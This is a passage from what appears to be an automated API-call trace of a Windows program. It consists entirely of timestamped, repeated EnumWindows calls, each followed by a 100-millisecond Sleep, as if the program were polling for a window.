(lpEnumFunc=0x423dd0, lParam=0x410000) [0180.617] Sleep (dwMilliseconds=0x64) [0180.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.619] Sleep (dwMilliseconds=0x64) [0180.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.620] Sleep (dwMilliseconds=0x64) [0180.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.622] Sleep (dwMilliseconds=0x64) [0180.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.623] Sleep (dwMilliseconds=0x64) [0180.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.625] Sleep (dwMilliseconds=0x64) [0180.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.627] Sleep (dwMilliseconds=0x64) [0180.628] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.629] Sleep (dwMilliseconds=0x64) [0180.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.630] Sleep (dwMilliseconds=0x64) [0180.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.632] Sleep (dwMilliseconds=0x64) [0180.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.633] Sleep (dwMilliseconds=0x64) [0180.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.635] Sleep (dwMilliseconds=0x64) [0180.637] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.637] Sleep (dwMilliseconds=0x64) [0180.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.638] Sleep (dwMilliseconds=0x64) [0180.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.640] Sleep (dwMilliseconds=0x64) [0180.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.642] Sleep (dwMilliseconds=0x64) [0180.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.643] Sleep (dwMilliseconds=0x64) [0180.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.645] Sleep (dwMilliseconds=0x64) [0180.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.647] Sleep (dwMilliseconds=0x64) [0180.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.648] Sleep (dwMilliseconds=0x64) [0180.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.650] Sleep (dwMilliseconds=0x64) [0180.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.651] Sleep (dwMilliseconds=0x64) [0180.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.653] Sleep (dwMilliseconds=0x64) [0180.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.654] Sleep (dwMilliseconds=0x64) [0180.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.656] Sleep (dwMilliseconds=0x64) [0180.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.657] Sleep (dwMilliseconds=0x64) [0180.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.659] Sleep (dwMilliseconds=0x64) [0180.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.737] Sleep (dwMilliseconds=0x64) [0180.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.739] Sleep (dwMilliseconds=0x64) [0180.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.740] Sleep (dwMilliseconds=0x64) [0180.742] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.742] Sleep (dwMilliseconds=0x64) [0180.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.744] Sleep (dwMilliseconds=0x64) [0180.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.745] Sleep (dwMilliseconds=0x64) [0180.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.747] Sleep (dwMilliseconds=0x64) [0180.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.748] Sleep (dwMilliseconds=0x64) [0180.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.750] Sleep (dwMilliseconds=0x64) [0180.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.752] Sleep (dwMilliseconds=0x64) [0180.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.754] Sleep (dwMilliseconds=0x64) [0180.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.755] Sleep (dwMilliseconds=0x64) [0180.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.757] Sleep (dwMilliseconds=0x64) [0180.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.759] Sleep (dwMilliseconds=0x64) [0180.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.762] Sleep (dwMilliseconds=0x64) [0180.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.802] Sleep (dwMilliseconds=0x64) [0180.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.805] Sleep (dwMilliseconds=0x64) [0180.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.806] Sleep (dwMilliseconds=0x64) [0180.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.808] Sleep (dwMilliseconds=0x64) [0180.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.809] Sleep (dwMilliseconds=0x64) [0180.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.811] Sleep (dwMilliseconds=0x64) [0180.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.812] Sleep (dwMilliseconds=0x64) [0180.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.813] Sleep (dwMilliseconds=0x64) [0180.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.816] Sleep (dwMilliseconds=0x64) [0180.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.817] Sleep (dwMilliseconds=0x64) [0180.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.819] Sleep (dwMilliseconds=0x64) [0180.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.821] Sleep (dwMilliseconds=0x64) [0180.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.822] Sleep (dwMilliseconds=0x64) [0180.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.824] Sleep (dwMilliseconds=0x64) [0180.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.825] Sleep (dwMilliseconds=0x64) [0180.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.827] Sleep (dwMilliseconds=0x64) [0180.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.828] Sleep (dwMilliseconds=0x64) [0180.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.830] Sleep (dwMilliseconds=0x64) [0180.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.833] Sleep (dwMilliseconds=0x64) [0180.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0180.924] Sleep (dwMilliseconds=0x64) [0181.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.031] Sleep (dwMilliseconds=0x64) [0181.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.101] Sleep (dwMilliseconds=0x64) [0181.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.103] Sleep (dwMilliseconds=0x64) [0181.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.105] Sleep (dwMilliseconds=0x64) [0181.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.106] Sleep (dwMilliseconds=0x64) [0181.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.108] Sleep (dwMilliseconds=0x64) [0181.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.109] Sleep (dwMilliseconds=0x64) [0181.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.112] Sleep (dwMilliseconds=0x64) [0181.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.114] Sleep (dwMilliseconds=0x64) [0181.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.116] Sleep (dwMilliseconds=0x64) [0181.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.120] Sleep (dwMilliseconds=0x64) [0181.121] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.121] Sleep (dwMilliseconds=0x64) [0181.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.125] Sleep (dwMilliseconds=0x64) [0181.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.126] Sleep (dwMilliseconds=0x64) [0181.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.128] Sleep (dwMilliseconds=0x64) [0181.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.129] Sleep (dwMilliseconds=0x64) [0181.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.131] Sleep (dwMilliseconds=0x64) [0181.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.135] Sleep (dwMilliseconds=0x64) [0181.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.137] Sleep (dwMilliseconds=0x64) [0181.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.139] Sleep (dwMilliseconds=0x64) [0181.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.140] Sleep (dwMilliseconds=0x64) [0181.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.142] Sleep (dwMilliseconds=0x64) [0181.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.144] Sleep (dwMilliseconds=0x64) [0181.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.145] Sleep (dwMilliseconds=0x64) [0181.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.146] Sleep (dwMilliseconds=0x64) [0181.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.148] Sleep (dwMilliseconds=0x64) [0181.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.153] Sleep (dwMilliseconds=0x64) [0181.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.155] Sleep (dwMilliseconds=0x64) [0181.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.157] Sleep (dwMilliseconds=0x64) [0181.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.158] Sleep (dwMilliseconds=0x64) [0181.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.160] Sleep (dwMilliseconds=0x64) [0181.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.161] Sleep (dwMilliseconds=0x64) [0181.163] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.163] Sleep (dwMilliseconds=0x64) [0181.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.164] Sleep (dwMilliseconds=0x64) [0181.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.243] Sleep (dwMilliseconds=0x64) [0181.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.245] Sleep (dwMilliseconds=0x64) [0181.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.257] Sleep (dwMilliseconds=0x64) [0181.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.259] Sleep (dwMilliseconds=0x64) [0181.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.260] Sleep (dwMilliseconds=0x64) [0181.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.264] Sleep (dwMilliseconds=0x64) [0181.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.267] Sleep (dwMilliseconds=0x64) [0181.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.269] Sleep (dwMilliseconds=0x64) [0181.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.276] Sleep (dwMilliseconds=0x64) [0181.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.323] Sleep (dwMilliseconds=0x64) [0181.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.402] Sleep (dwMilliseconds=0x64) [0181.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.430] Sleep (dwMilliseconds=0x64) [0181.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.432] Sleep (dwMilliseconds=0x64) [0181.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.434] Sleep (dwMilliseconds=0x64) [0181.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.435] Sleep (dwMilliseconds=0x64) [0181.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.437] Sleep (dwMilliseconds=0x64) [0181.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.439] Sleep (dwMilliseconds=0x64) [0181.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.440] Sleep (dwMilliseconds=0x64) [0181.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.442] Sleep (dwMilliseconds=0x64) [0181.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.443] Sleep (dwMilliseconds=0x64) [0181.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.445] Sleep (dwMilliseconds=0x64) [0181.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.446] Sleep (dwMilliseconds=0x64) [0181.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.448] Sleep (dwMilliseconds=0x64) [0181.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.450] Sleep (dwMilliseconds=0x64) [0181.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.452] Sleep (dwMilliseconds=0x64) [0181.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.454] Sleep (dwMilliseconds=0x64) [0181.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.456] Sleep (dwMilliseconds=0x64) [0181.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.457] Sleep (dwMilliseconds=0x64) [0181.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.686] Sleep (dwMilliseconds=0x64) [0181.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.774] Sleep (dwMilliseconds=0x64) [0181.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.776] Sleep (dwMilliseconds=0x64) [0181.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.807] Sleep (dwMilliseconds=0x64) [0181.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.810] Sleep (dwMilliseconds=0x64) [0181.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.814] Sleep (dwMilliseconds=0x64) [0181.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.816] Sleep (dwMilliseconds=0x64) [0181.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.818] Sleep (dwMilliseconds=0x64) [0181.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.819] Sleep (dwMilliseconds=0x64) [0181.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.821] Sleep (dwMilliseconds=0x64) [0181.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.822] Sleep (dwMilliseconds=0x64) [0181.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.824] Sleep (dwMilliseconds=0x64) [0181.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.826] Sleep (dwMilliseconds=0x64) [0181.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.896] Sleep (dwMilliseconds=0x64) [0181.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.957] Sleep (dwMilliseconds=0x64) [0181.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.959] Sleep (dwMilliseconds=0x64) [0181.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.966] Sleep (dwMilliseconds=0x64) [0181.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.971] Sleep (dwMilliseconds=0x64) [0181.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.973] Sleep (dwMilliseconds=0x64) [0181.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.975] Sleep (dwMilliseconds=0x64) [0181.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.977] Sleep (dwMilliseconds=0x64) [0181.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.979] Sleep (dwMilliseconds=0x64) [0181.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.981] Sleep (dwMilliseconds=0x64) [0181.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.983] Sleep (dwMilliseconds=0x64) [0181.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.986] Sleep (dwMilliseconds=0x64) [0181.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0181.988] Sleep (dwMilliseconds=0x64) [0182.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.047] Sleep (dwMilliseconds=0x64) [0182.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.134] Sleep (dwMilliseconds=0x64) [0182.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.136] Sleep (dwMilliseconds=0x64) [0182.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.138] Sleep (dwMilliseconds=0x64) [0182.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.139] Sleep (dwMilliseconds=0x64) [0182.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.142] Sleep (dwMilliseconds=0x64) [0182.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.144] Sleep (dwMilliseconds=0x64) [0182.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.146] Sleep (dwMilliseconds=0x64) [0182.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.158] Sleep (dwMilliseconds=0x64) [0182.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.168] Sleep (dwMilliseconds=0x64) [0182.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.288] Sleep (dwMilliseconds=0x64) [0182.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.429] Sleep (dwMilliseconds=0x64) [0182.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.433] Sleep (dwMilliseconds=0x64) [0182.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.437] Sleep (dwMilliseconds=0x64) [0182.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.439] Sleep (dwMilliseconds=0x64) [0182.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.441] Sleep (dwMilliseconds=0x64) [0182.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.443] Sleep (dwMilliseconds=0x64) [0182.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.445] Sleep (dwMilliseconds=0x64) [0182.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.449] Sleep (dwMilliseconds=0x64) [0182.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.451] Sleep (dwMilliseconds=0x64) [0182.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.453] Sleep (dwMilliseconds=0x64) [0182.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.455] Sleep (dwMilliseconds=0x64) [0182.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.457] Sleep (dwMilliseconds=0x64) [0182.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.522] Sleep (dwMilliseconds=0x64) [0182.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.602] Sleep (dwMilliseconds=0x64) [0182.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.619] Sleep (dwMilliseconds=0x64) [0182.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.690] Sleep (dwMilliseconds=0x64) [0182.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.759] Sleep (dwMilliseconds=0x64) [0182.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.773] Sleep (dwMilliseconds=0x64) [0182.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.778] Sleep (dwMilliseconds=0x64) [0182.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.781] Sleep (dwMilliseconds=0x64) [0182.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.784] Sleep (dwMilliseconds=0x64) [0182.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.785] Sleep (dwMilliseconds=0x64) [0182.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.788] Sleep (dwMilliseconds=0x64) [0182.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.837] Sleep (dwMilliseconds=0x64) [0182.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.909] Sleep (dwMilliseconds=0x64) [0182.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.911] Sleep (dwMilliseconds=0x64) [0182.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.913] Sleep (dwMilliseconds=0x64) [0182.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.915] Sleep (dwMilliseconds=0x64) [0182.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.918] Sleep (dwMilliseconds=0x64) [0182.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.921] Sleep (dwMilliseconds=0x64) [0182.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.923] Sleep (dwMilliseconds=0x64) [0182.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.928] Sleep (dwMilliseconds=0x64) [0182.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.930] Sleep (dwMilliseconds=0x64) [0182.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.933] Sleep (dwMilliseconds=0x64) [0182.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.935] Sleep (dwMilliseconds=0x64) [0182.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.946] Sleep (dwMilliseconds=0x64) [0182.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0182.982] Sleep (dwMilliseconds=0x64) [0183.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.002] Sleep (dwMilliseconds=0x64) [0183.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.102] Sleep (dwMilliseconds=0x64) [0183.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.142] Sleep (dwMilliseconds=0x64) [0183.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.256] Sleep (dwMilliseconds=0x64) [0183.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.270] Sleep (dwMilliseconds=0x64) [0183.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.272] Sleep (dwMilliseconds=0x64) [0183.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.273] Sleep (dwMilliseconds=0x64) [0183.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.275] Sleep (dwMilliseconds=0x64) [0183.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.364] Sleep (dwMilliseconds=0x64) [0183.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.390] Sleep (dwMilliseconds=0x64) [0183.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.392] Sleep (dwMilliseconds=0x64) [0183.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.394] Sleep (dwMilliseconds=0x64) [0183.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.396] Sleep (dwMilliseconds=0x64) [0183.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.397] Sleep (dwMilliseconds=0x64) [0183.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.399] Sleep (dwMilliseconds=0x64) [0183.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.400] Sleep (dwMilliseconds=0x64) [0183.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.402] Sleep (dwMilliseconds=0x64) [0183.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.403] Sleep (dwMilliseconds=0x64) [0183.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.405] Sleep (dwMilliseconds=0x64) [0183.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.406] Sleep (dwMilliseconds=0x64) [0183.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.444] Sleep (dwMilliseconds=0x64) [0183.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.554] Sleep (dwMilliseconds=0x64) [0183.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.583] Sleep (dwMilliseconds=0x64) [0183.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.584] Sleep (dwMilliseconds=0x64) [0183.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.586] Sleep (dwMilliseconds=0x64) [0183.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.589] Sleep (dwMilliseconds=0x64) [0183.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.591] Sleep (dwMilliseconds=0x64) [0183.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.593] Sleep (dwMilliseconds=0x64) [0183.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.596] Sleep (dwMilliseconds=0x64) [0183.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.598] Sleep (dwMilliseconds=0x64) [0183.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.601] Sleep (dwMilliseconds=0x64) [0183.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.608] Sleep (dwMilliseconds=0x64) [0183.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.614] Sleep (dwMilliseconds=0x64) [0183.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.692] Sleep (dwMilliseconds=0x64) [0183.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.711] Sleep (dwMilliseconds=0x64) [0183.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.745] Sleep (dwMilliseconds=0x64) [0183.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.748] Sleep (dwMilliseconds=0x64) [0183.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.750] Sleep (dwMilliseconds=0x64) [0183.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.751] Sleep (dwMilliseconds=0x64) [0183.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.753] Sleep (dwMilliseconds=0x64) [0183.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.754] Sleep (dwMilliseconds=0x64) [0183.756] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.756] Sleep (dwMilliseconds=0x64) [0183.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.757] Sleep (dwMilliseconds=0x64) [0183.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0183.759] Sleep (dwMilliseconds=0x64) [0183.761] 